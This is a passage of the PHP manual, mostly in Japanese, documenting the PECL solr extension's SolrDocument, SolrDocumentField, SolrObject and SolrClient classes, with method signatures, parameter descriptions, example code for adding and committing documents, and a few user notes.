この関数にはパラメータはありません。

返り値

参考

  • SolrDocument::hasChildDocuments() - Checks whether the document has any child documents
  • SolrDocument::getChildDocuments() - Returns an array of child documents (SolrDocument)

User Contributed Notes

There are no user contributed notes for this page.


名前でフィールドを取得

  • ≪ SolrDocument::getChildDocumentsCount
  • SolrDocument::getFieldCount ≫
  • PHP Manual
  • SolrDocument
  • 名前でフィールドを取得

SolrDocument::getField

(PECL solr >= 0.9.2)

SolrDocument::getField — 名前でフィールドを取得

説明

public SolrDocument::getField ( string $fieldName ) : SolrDocumentField

名前でフィールドを取得します。

パラメータ

fieldName

フィールド名

返り値

成功時には SolrDocumentField、失敗時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


この文書内のフィールド数を返す

  • ≪ SolrDocument::getField
  • SolrDocument::getFieldNames ≫
  • PHP Manual
  • SolrDocument
  • この文書内のフィールド数を返す

SolrDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrDocument::getFieldCount — この文書内のフィールド数を返す

説明

public SolrDocument::getFieldCount ( ) : int

この文書内のフィールド数を返します。 複数値のフィールドは１回だけ数えられます。

パラメータ

この関数にはパラメータはありません。

返り値

成功時には整数、失敗時には false を返します。

User Contributed Notes

There are no user contributed notes for this page.


文書内のフィールド名の配列を返す

  • ≪ SolrDocument::getFieldCount
  • SolrDocument::getInputDocument ≫
  • PHP Manual
  • SolrDocument
  • 文書内のフィールド名の配列を返す

SolrDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrDocument::getFieldNames — 文書内のフィールド名の配列を返す

説明

public SolrDocument::getFieldNames ( ) : array

文書内のフィールド名の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

この文書内のフィールド名を含む配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


Returns a SolrInputDocument equivalent of the object

  • ≪ SolrDocument::getFieldNames
  • SolrDocument::hasChildDocuments ≫
  • PHP Manual
  • SolrDocument
  • Returns a SolrInputDocument equivalent of the object

SolrDocument::getInputDocument

(PECL solr >= 0.9.2)

SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object

説明

public SolrDocument::getInputDocument ( ) : SolrInputDocument

Returns a SolrInputDocument equivalent of the object. This is useful if one wishes to resubmit/update a document retrieved from a query.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a SolrInputDocument on success and null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the document has any child documents

  • ≪ SolrDocument::getInputDocument
  • SolrDocument::__isset ≫
  • PHP Manual
  • SolrDocument
  • Checks whether the document has any child documents

SolrDocument::hasChildDocuments

(PECL solr >= 2.3.0)

SolrDocument::hasChildDocuments — Checks whether the document has any child documents

説明

public SolrDocument::hasChildDocuments ( ) : bool

Checks whether the document has any child documents

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • SolrDocument::getChildDocuments() - Returns an array of child documents (SolrDocument)
  • SolrDocument::getChildDocumentsCount() - Returns the number of child documents

User Contributed Notes

There are no user contributed notes for this page.


フィールドが存在するかチェック

  • ≪ SolrDocument::hasChildDocuments
  • SolrDocument::key ≫
  • PHP Manual
  • SolrDocument
  • フィールドが存在するかチェック

SolrDocument::__isset

(PECL solr >= 0.9.2)

SolrDocument::__isset — フィールドが存在するかチェック

説明

public SolrDocument::__isset ( string $fieldName ) : bool

フィールドが存在するかチェックします。

パラメータ

fieldName

フィールド名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


現行のキーを返す

  • ≪ SolrDocument::__isset
  • SolrDocument::merge ≫
  • PHP Manual
  • SolrDocument
  • 現行のキーを返す

SolrDocument::key

(PECL solr >= 0.9.2)

SolrDocument::key — 現行のキーを返す

説明

public SolrDocument::key ( ) : string

現行のキーを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現行のキーを返します。

User Contributed Notes

There are no user contributed notes for this page.


Merges source to the current SolrDocument

  • ≪ SolrDocument::key
  • SolrDocument::next ≫
  • PHP Manual
  • SolrDocument
  • Merges source to the current SolrDocument

SolrDocument::merge

(PECL solr >= 0.9.2)

SolrDocument::merge — Merges source to the current SolrDocument

説明

public SolrDocument::merge ( SolrDocument $sourceDoc , bool $overwrite = true ) : bool

Merges source to the current SolrDocument.

パラメータ

sourceDoc

The source document.

overwrite

If this is true then fields with the same name in the destination document will be overwritten.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


内部ポインタを次のフィールドに移動

  • ≪ SolrDocument::merge
  • SolrDocument::offsetExists ≫
  • PHP Manual
  • SolrDocument
  • 内部ポインタを次のフィールドに移動

SolrDocument::next

(PECL solr >= 0.9.2)

SolrDocument::next — 内部ポインタを次のフィールドに移動

説明

public SolrDocument::next ( ) : void

内部ポインタを次のフィールドに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

この関数に返り値はありません。

User Contributed Notes

There are no user contributed notes for this page.


特定のフィールドが存在するかどうかチェック

  • ≪ SolrDocument::next
  • SolrDocument::offsetGet ≫
  • PHP Manual
  • SolrDocument
  • 特定のフィールドが存在するかどうかチェック

SolrDocument::offsetExists

(PECL solr >= 0.9.2)

SolrDocument::offsetExists — 特定のフィールドが存在するかどうかチェック

説明

public SolrDocument::offsetExists ( string $fieldName ) : bool

特定のフィールドが存在するかどうかチェックします。これは、オブジェクトが配列として扱われる際に使用されます。

パラメータ

fieldName

フィールド名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールドを取得

  • ≪ SolrDocument::offsetExists
  • SolrDocument::offsetSet ≫
  • PHP Manual
  • SolrDocument
  • フィールドを取得

SolrDocument::offsetGet

(PECL solr >= 0.9.2)

SolrDocument::offsetGet — フィールドを取得

説明

public SolrDocument::offsetGet ( string $fieldName ) : SolrDocumentField

これは、オブジェクトが配列として扱われる際に、フィールドを取得するために使用されます。

パラメータ

fieldName

フィールド名

返り値

SolrDocumentField オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


文書にフィールドを追加

  • ≪ SolrDocument::offsetGet
  • SolrDocument::offsetUnset ≫
  • PHP Manual
  • SolrDocument
  • 文書にフィールドを追加

SolrDocument::offsetSet

(PECL solr >= 0.9.2)

SolrDocument::offsetSet — 文書にフィールドを追加

説明

public SolrDocument::offsetSet ( string $fieldName , string $fieldValue ) : void

オブジェクトが配列として扱われる際に、文書にフィールドを追加するために使用されます。

パラメータ

fieldName

フィールド名

fieldValue

このフィールドに対する値

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


フィールドを除去

  • ≪ SolrDocument::offsetSet
  • SolrDocument::reset ≫
  • PHP Manual
  • SolrDocument
  • フィールドを除去

SolrDocument::offsetUnset

(PECL solr >= 0.9.2)

SolrDocument::offsetUnset — フィールドを除去

説明

public SolrDocument::offsetUnset ( string $fieldName ) : void

文書からフィールドを除去します。

パラメータ

fieldName

フィールド名

返り値

返り値はありません。

User Contributed Notes

There are no user contributed notes for this page.


SolrDocument::clear()へのエイリアス

  • ≪ SolrDocument::offsetUnset
  • SolrDocument::rewind ≫
  • PHP Manual
  • SolrDocument
  • SolrDocument::clear()へのエイリアス

SolrDocument::reset

(PECL solr >= 0.9.2)

SolrDocument::reset — SolrDocument::clear()へのエイリアス

説明

public SolrDocument::reset ( ) : bool

これは、SolrDocument::clear()へのエイリアスです。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


内部ポインタを先頭にリセット

  • ≪ SolrDocument::reset
  • SolrDocument::serialize ≫
  • PHP Manual
  • SolrDocument
  • 内部ポインタを先頭にリセット

SolrDocument::rewind

(PECL solr >= 0.9.2)

SolrDocument::rewind — 内部ポインタを先頭にリセット

説明

public SolrDocument::rewind ( ) : void

内部ポインタを先頭にリセットします。

パラメータ

この関数にはパラメータはありません。

返り値

この関数に返り値はありません。

User Contributed Notes

There are no user contributed notes for this page.


カスタムのシリアライズで使われます

  • ≪ SolrDocument::rewind
  • SolrDocument::__set ≫
  • PHP Manual
  • SolrDocument
  • カスタムのシリアライズで使われます

SolrDocument::serialize

(PECL solr >= 0.9.2)

SolrDocument::serialize — カスタムのシリアライズで使われます

説明

public SolrDocument::serialize ( ) : string

カスタムのシリアライズで使われます.

パラメータ

この関数にはパラメータはありません。

返り値

シリアライズされた Solr 文書を表現する文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the document

  • ≪ SolrDocument::serialize
  • SolrDocument::sort ≫
  • PHP Manual
  • SolrDocument
  • Adds another field to the document

SolrDocument::__set

(PECL solr >= 0.9.2)

SolrDocument::__set — Adds another field to the document

説明

public SolrDocument::__set ( string $fieldName , string $fieldValue ) : bool

Adds another field to the document. Used to set the fields as new properties.

パラメータ

fieldName

Name of the field.

fieldValue

Field value.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields in the document

  • ≪ SolrDocument::__set
  • SolrDocument::toArray ≫
  • PHP Manual
  • SolrDocument
  • Sorts the fields in the document

SolrDocument::sort

(PECL solr >= 0.9.2)

SolrDocument::sort — Sorts the fields in the document

説明

public SolrDocument::sort ( int $sortOrderBy , int $sortDirection = SolrDocument::SORT_ASC ) : bool

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The sortOrderBy parameter must be one of :

   * SolrDocument::SORT_FIELD_NAME
   * SolrDocument::SORT_FIELD_BOOST_VALUE
   * SolrDocument::SORT_FIELD_VALUE_COUNT

   The sortDirection can be one of :

   * SolrDocument::SORT_DEFAULT
   * SolrDocument::SORT_ASC
   * SolrDocument::SORT_DESC

   The default way is to sort in ascending order.

パラメータ

sortOrderBy

The sort criteria.

sortDirection

The sort direction.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


文書の配列表現を返す

  • ≪ SolrDocument::sort
  • SolrDocument::unserialize ≫
  • PHP Manual
  • SolrDocument
  • 文書の配列表現を返す

SolrDocument::toArray

(PECL solr >= 0.9.2)

SolrDocument::toArray — 文書の配列表現を返す

説明

public SolrDocument::toArray ( ) : array

文書の配列表現を返します。

パラメータ

この関数にはパラメータはありません。

返り値

文書の配列表現を返します。

例

例1 SolrDocument::toArray() の例

<?php

$doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

print_r($doc->toArray());

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Custom serialization of SolrDocument objects

  • ≪ SolrDocument::toArray
  • SolrDocument::__unset ≫
  • PHP Manual
  • SolrDocument
  • Custom serialization of SolrDocument objects

SolrDocument::unserialize

(PECL solr >= 0.9.2)

SolrDocument::unserialize — Custom serialization of SolrDocument objects

説明

public SolrDocument::unserialize ( string $serialized ) : void

Custom serialization of SolrDocument objects

パラメータ

serialized

An XML representation of the document.

返り値

None.

User Contributed Notes

There are no user contributed notes for this page.


文書からフィールドを除去

  • ≪ SolrDocument::unserialize
  • SolrDocument::valid ≫
  • PHP Manual
  • SolrDocument
  • 文書からフィールドを除去

SolrDocument::__unset

(PECL solr >= 0.9.2)

SolrDocument::__unset — 文書からフィールドを除去

説明

public SolrDocument::__unset ( string $fieldName ) : bool

フィールドがオブジェクトのプロパティとしてアクセスされる場合、文書からフィールドを除去します。

パラメータ

fieldName

フィールド名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Checks if the current position internally is still valid

  • ≪ SolrDocument::__unset
  • SolrDocumentField ≫
  • PHP Manual
  • SolrDocument
  • Checks if the current position internally is still valid

SolrDocument::valid

(PECL solr >= 0.9.2)

SolrDocument::valid — Checks if the current position internally is still valid

説明

public SolrDocument::valid ( ) : bool

Checks if the current position internally is still valid. It is used during foreach operations.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success and false if the current position is no longer valid.

User Contributed Notes

There are no user contributed notes for this page.


SolrDocumentField クラス

(PECL solr >= 0.9.2)

はじめに

Solr 文書のフィールドを表現します。そのプロパティは全て読み取り専用です。

クラス概要

final SolrDocumentField {
/* プロパティ */
public readonly string $name ;
public readonly float $boost ;
public readonly array $values ;
/* メソッド */
public __construct ( )
public __destruct ( ) : void
}

プロパティ

name

フィールド名

boost

フィールドの boost 値

values

このフィールドに対する値の配列

目次

  • SolrDocumentField::__construct — コンストラクタ
  • SolrDocumentField::__destruct — デストラクタ

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ SolrDocumentField
  • SolrDocumentField::__destruct ≫
  • PHP Manual
  • SolrDocumentField
  • コンストラクタ

SolrDocumentField::__construct

(PECL solr >= 0.9.2)

SolrDocumentField::__construct — コンストラクタ

説明

public SolrDocumentField::__construct ( )

コンストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrDocumentField::__construct
  • SolrObject ≫
  • PHP Manual
  • SolrDocumentField
  • デストラクタ

SolrDocumentField::__destruct

(PECL solr >= 0.9.2)

SolrDocumentField::__destruct — デストラクタ

説明

public SolrDocumentField::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


SolrObject クラス

(PECL solr >= 0.9.2)

はじめに

これはオブジェクトで、そのプロパティは、配列の文法を使用してアクセスされることもできます。 その全てのプロパティは読み取り専用です。

クラス概要

final SolrObject implements ArrayAccess {
/* メソッド */
public __construct ( )
public __destruct ( ) : void
public getPropertyNames ( ) : array
public offsetExists ( string $property_name ) : bool
public offsetGet ( string $property_name ) : mixed
public offsetSet ( string $property_name , string $property_value ) : void
public offsetUnset ( string $property_name ) : void
}

目次

  • SolrObject::__construct — Solr オブジェクトを生成
  • SolrObject::__destruct — デストラクタ
  • SolrObject::getPropertyNames — 全てのプロパティ名の配列を返す
  • SolrObject::offsetExists — プロパティが存在するかチェック
  • SolrObject::offsetGet — プロパティを取得するために使用される
  • SolrObject::offsetSet — プロパティに対して値を設定
  • SolrObject::offsetUnset — プロパティに対して値の設定を解除

User Contributed Notes

There are no user contributed notes for this page.


Solr オブジェクトを生成

  • ≪ SolrObject
  • SolrObject::__destruct ≫
  • PHP Manual
  • SolrObject
  • Solr オブジェクトを生成

SolrObject::__construct

(PECL solr >= 0.9.2)

SolrObject::__construct — Solr オブジェクトを生成

説明

public SolrObject::__construct ( )

Solr オブジェクトを生成します。

パラメータ

この関数にはパラメータはありません。

返り値

ありません

例

例1 SolrObject::__construct() 例

<?php
/* ... */
?>

上の例の出力は、 たとえば以下のようになります。

...

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ SolrObject::__construct
  • SolrObject::getPropertyNames ≫
  • PHP Manual
  • SolrObject
  • デストラクタ

SolrObject::__destruct

(PECL solr >= 0.9.2)

SolrObject::__destruct — デストラクタ

説明

public SolrObject::__destruct ( ) : void

デストラクタ

パラメータ

この関数にはパラメータはありません。

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


全てのプロパティ名の配列を返す

  • ≪ SolrObject::__destruct
  • SolrObject::offsetExists ≫
  • PHP Manual
  • SolrObject
  • 全てのプロパティ名の配列を返す

SolrObject::getPropertyNames

(PECL solr >= 0.9.2)

SolrObject::getPropertyNames — 全てのプロパティ名の配列を返す

説明

public SolrObject::getPropertyNames ( ) : array

全てのプロパティ名の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

配列を返します。

User Contributed Notes

dohpaz at nospam dot net 20-May-2010 11:21
It should be noted that when using SolrObject::getPropertyNames(), the array keys have an invisible character that needs to be trim()'d to work correctly.


プロパティが存在するかチェック

  • ≪ SolrObject::getPropertyNames
  • SolrObject::offsetGet ≫
  • PHP Manual
  • SolrObject
  • プロパティが存在するかチェック

SolrObject::offsetExists

(PECL solr >= 0.9.2)

SolrObject::offsetExists — プロパティが存在するかチェック

説明

public SolrObject::offsetExists ( string $property_name ) : bool

プロパティが存在するかチェックします。これは、オブジェクトが配列として扱われる際に使用されます。

パラメータ

property_name

プロパティ名

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


プロパティを取得するために使用される

  • ≪ SolrObject::offsetExists
  • SolrObject::offsetSet ≫
  • PHP Manual
  • SolrObject
  • プロパティを取得するために使用される

SolrObject::offsetGet

(PECL solr >= 0.9.2)

SolrObject::offsetGet — プロパティを取得するために使用される

説明

public SolrObject::offsetGet ( string $property_name ) : mixed

プロパティの値を取得するために使用されます。これは、オブジェクトが配列として扱われる際に使用されます。

パラメータ

property_name

プロパティ名

返り値

プロパティの値を返します。

User Contributed Notes

There are no user contributed notes for this page.


プロパティに対して値を設定

  • ≪ SolrObject::offsetGet
  • SolrObject::offsetUnset ≫
  • PHP Manual
  • SolrObject
  • プロパティに対して値を設定

SolrObject::offsetSet

(PECL solr >= 0.9.2)

SolrObject::offsetSet — プロパティに対して値を設定

説明

public SolrObject::offsetSet ( string $property_name , string $property_value ) : void

プロパティに対して値を設定します。 これは、オブジェクトが配列として扱われる際に使用されます。 このオブジェクトは読み込み専用です。これは、決して試みられてはいけません。

パラメータ

property_name

プロパティ名

property_value

新しい値

返り値

ありません

User Contributed Notes

There are no user contributed notes for this page.


プロパティに対して値の設定を解除

  • ≪ SolrObject::offsetSet
  • SolrClient ≫
  • PHP Manual
  • SolrObject
  • プロパティに対して値の設定を解除

SolrObject::offsetUnset

(PECL solr >= 0.9.2)

SolrObject::offsetUnset — プロパティに対して値の設定を解除

説明

public SolrObject::offsetUnset ( string $property_name ) : void

プロパティに対して値の設定を解除します。これは、オブジェクトが配列として扱われる際に使用されます。 このオブジェクトは読み込み専用です。これは、決して試みられてはいけません。

パラメータ

property_name

プロパティ名

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SolrObject::offsetUnset() の例

<?php
/* ... */
?>

上の例の出力は、 たとえば以下のようになります。

...

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The SolrClient class

(PECL solr >= 0.9.2)

はじめに

Used to send requests to a Solr server. Currently, cloning and serialization of SolrClient instances is not supported.

クラス概要

final SolrClient {
/* 定数 */
const int SEARCH_SERVLET_TYPE = 1 ;
const int UPDATE_SERVLET_TYPE = 2 ;
const int THREADS_SERVLET_TYPE = 4 ;
const int PING_SERVLET_TYPE = 8 ;
const int TERMS_SERVLET_TYPE = 16 ;
const int SYSTEM_SERVLET_TYPE = 32 ;
const string DEFAULT_SEARCH_SERVLET = select ;
const string DEFAULT_UPDATE_SERVLET = update ;
const string DEFAULT_THREADS_SERVLET = admin/threads ;
const string DEFAULT_PING_SERVLET = admin/ping ;
const string DEFAULT_TERMS_SERVLET = terms ;
const string DEFAULT_SYSTEM_SERVLET = admin/system ;
/* メソッド */
public addDocument ( SolrInputDocument $doc , bool $overwrite = true , int $commitWithin = 0 ) : SolrUpdateResponse
public addDocuments ( array $docs , bool $overwrite = true , int $commitWithin = 0 ) : void
public commit ( bool $softCommit = false , bool $waitSearcher = true , bool $expungeDeletes = false ) : SolrUpdateResponse
public __construct ( array $clientOptions )
public deleteById ( string $id ) : SolrUpdateResponse
public deleteByIds ( array $ids ) : SolrUpdateResponse
public deleteByQueries ( array $queries ) : SolrUpdateResponse
public deleteByQuery ( string $query ) : SolrUpdateResponse
public __destruct ( ) : void
public getById ( string $id ) : SolrQueryResponse
public getByIds ( array $ids ) : SolrQueryResponse
public getDebug ( ) : string
public getOptions ( ) : array
public optimize ( int $maxSegments = 1 , bool $softCommit = true , bool $waitSearcher = true ) : SolrUpdateResponse
public ping ( ) : SolrPingResponse
public query ( SolrParams $query ) : SolrQueryResponse
public request ( string $raw_request ) : SolrUpdateResponse
public rollback ( ) : SolrUpdateResponse
public setResponseWriter ( string $responseWriter ) : void
public setServlet ( int $type , string $value ) : bool
public system ( ) : void
public threads ( ) : void
}

定義済み定数

SolrClient::SEARCH_SERVLET_TYPE

Used when updating the search servlet.

SolrClient::UPDATE_SERVLET_TYPE

Used when updating the update servlet.

SolrClient::THREADS_SERVLET_TYPE

Used when updating the threads servlet.

SolrClient::PING_SERVLET_TYPE

Used when updating the ping servlet.

SolrClient::TERMS_SERVLET_TYPE

Used when updating the terms servlet.

SolrClient::SYSTEM_SERVLET_TYPE

Used when retrieving system information from the system servlet.

SolrClient::DEFAULT_SEARCH_SERVLET

This is the initial value for the search servlet.

SolrClient::DEFAULT_UPDATE_SERVLET

This is the initial value for the update servlet.

SolrClient::DEFAULT_THREADS_SERVLET

This is the initial value for the threads servlet.

SolrClient::DEFAULT_PING_SERVLET

This is the initial value for the ping servlet.

SolrClient::DEFAULT_TERMS_SERVLET

This is the initial value for the terms servlet used for the TermsComponent

SolrClient::DEFAULT_SYSTEM_SERVLET

This is the initial value for the system servlet used to obtain Solr Server information

目次

  • SolrClient::addDocument — Adds a document to the index
  • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit — Finalizes all add/deletes made to the index
  • SolrClient::__construct — Constructor for the SolrClient object
  • SolrClient::deleteById — Delete by Id
  • SolrClient::deleteByIds — Deletes by Ids
  • SolrClient::deleteByQueries — Removes all documents matching any of the queries
  • SolrClient::deleteByQuery — Deletes all documents matching the given query
  • SolrClient::__destruct — SolrClient に対するデストラクタ
  • SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)
  • SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)
  • SolrClient::getDebug — Returns the debug data for the last connection attempt
  • SolrClient::getOptions — Returns the client options set internally
  • SolrClient::optimize — Defragments the index
  • SolrClient::ping — Checks if Solr server is still up
  • SolrClient::query — Sends a query to the server
  • SolrClient::request — Sends a raw update request
  • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
  • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
  • SolrClient::setServlet — Changes the specified servlet type to a new value
  • SolrClient::system — Retrieve Solr Server information
  • SolrClient::threads — スレッドの状態をチェック

User Contributed Notes

There are no user contributed notes for this page.


Adds a document to the index

  • ≪ SolrClient
  • SolrClient::addDocuments ≫
  • PHP Manual
  • SolrClient
  • Adds a document to the index

SolrClient::addDocument

(PECL solr >= 0.9.2)

SolrClient::addDocument — Adds a document to the index

説明

public SolrClient::addDocument ( SolrInputDocument $doc , bool $overwrite = true , int $commitWithin = 0 ) : SolrUpdateResponse

This method adds a document to the index.

パラメータ

doc

The SolrInputDocument instance.

overwrite

Whether to overwrite existing document or not. If false there will be duplicates (several documents with the same ID).

警告

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

返り値

Returns a SolrUpdateResponse object or throws an Exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

例

例1 SolrClient::addDocument() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

// you will have to commit changes to be written if you didn't use $commitWithin
$client->commit();

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

例2 SolrClient::addDocument() example 2

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

// No need to call commit() because $commitWithin is passed, so Solr Server will auto commit within 10 seconds
$updateResponse = $client->addDocument($doc, false, 10000);

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

参考

  • SolrClient::addDocuments() - Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

There are no user contributed notes for this page.


Adds a collection of SolrInputDocument instances to the index

  • ≪ SolrClient::addDocument
  • SolrClient::commit ≫
  • PHP Manual
  • SolrClient
  • Adds a collection of SolrInputDocument instances to the index

SolrClient::addDocuments

(PECL solr >= 0.9.2)

SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index

説明

public SolrClient::addDocuments ( array $docs , bool $overwrite = true , int $commitWithin = 0 ) : void

Adds a collection of documents to the index.

パラメータ

docs

An array containing the collection of SolrInputDocument instances. This array must be an actual variable.

overwrite

Whether to overwrite existing documents or not. If false there will be duplicates (several documents with the same ID).

警告

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

返り値

Returns a SolrUpdateResponse object or throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

例

例1 SolrClient::addDocuments() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$doc2 = clone $doc;

$doc2->deleteField('id');
$doc2->addField('id', 334456);

$docs = array($doc, $doc2);

$updateResponse = $client->addDocuments($docs);

// no changes will be written to disk unless $commitWithin is passed or SolrClient::commit is called

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

)

参考

  • SolrClient::addDocument() - Adds a document to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

bjorn at bjorn-erik dot biz 23-Sep-2010 06:07
If you want to add a bunch of documents from a database, this would be the way to go, assuming you have fetched the records from the database and put them in an array called $recordset:

<?php
foreach ($recordset as $key=>$value){
   $docs_array[$key] = new SolrInputDocument();
   $docs_array[$key]->addField('id', $value['document_id']);
   $docs_array[$key]->addField('name',$value['document_name']);
}
$client->addDocuments($docs_array);
?>


Finalizes all add/deletes made to the index

  • ≪ SolrClient::addDocuments
  • SolrClient::__construct ≫
  • PHP Manual
  • SolrClient
  • Finalizes all add/deletes made to the index

SolrClient::commit

(PECL solr >= 0.9.2)

SolrClient::commit — Finalizes all add/deletes made to the index

説明

public SolrClient::commit ( bool $softCommit = false , bool $waitSearcher = true , bool $expungeDeletes = false ) : SolrUpdateResponse

This method finalizes all add/deletes made to the index.

パラメータ

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

A soft commit is much faster since it only makes index changes visible and does not fsync index files or write a new index descriptor. If the JVM crashes or there is a loss of power, changes that occurred after the last hard commit will be lost. Search collections that have near-real-time requirements (that want index changes to be quickly visible to searches) will want to soft commit often but hard commit less frequently.

waitSearcher

block until a new searcher is opened and registered as the main query searcher, making the changes visible.

expungeDeletes

Merge segments with deletes away. (Solr1.4+)

返り値

Returns a SolrUpdateResponse object on success or throws an exception on failure.

エラー / 例外

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

変更履歴

バージョン | 説明
PECL solr 1.1.0, 2.0.0 | $maxSegments removed
PECL solr 2.0.0b | API Changed: SolrClient::commit ([ int $maxSegments = 0 [, bool $softCommit = false [, bool $waitSearcher = true[, bool $expungeDeletes = false ]]] )
PECL solr 0.9.2 | Signature: SolrClient::commit ([ int $maxSegments = 1 [, bool $waitFlush = true [, bool $waitSearcher = true ]]] ). $waitFlush: Block until index changes are flushed to disk.

注意

警告

PECL Solr >= 2.0 only supports Solr Server >= 4.0

参考

  • SolrClient::optimize() - Defragments the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

jason at jasonplayne dot com 03-Jan-2013 05:53
